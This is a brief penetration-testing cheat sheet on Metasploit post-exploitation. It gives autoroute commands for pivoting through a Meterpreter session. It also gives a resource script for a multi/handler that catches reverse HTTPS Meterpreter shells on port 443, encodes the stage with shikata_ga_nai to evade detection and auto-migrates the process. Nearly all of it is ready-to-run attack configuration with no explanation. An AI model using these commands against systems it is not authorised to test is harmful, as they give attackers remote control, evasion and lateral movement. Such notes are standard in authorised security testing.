Metasploit

Post Exploit

Set route on Meterpreter:

msf> use multi/manage/autoroute
> set SUBNET x.x.x.x/xx
> set SESSION x
> run

Automation

We can save a preset options as setup.rc:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 1.1.1.1
set LPORT 443
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -j -z

Then we can call this config file when launching msfconsole:

msfconsole -r setup.rc

Last updated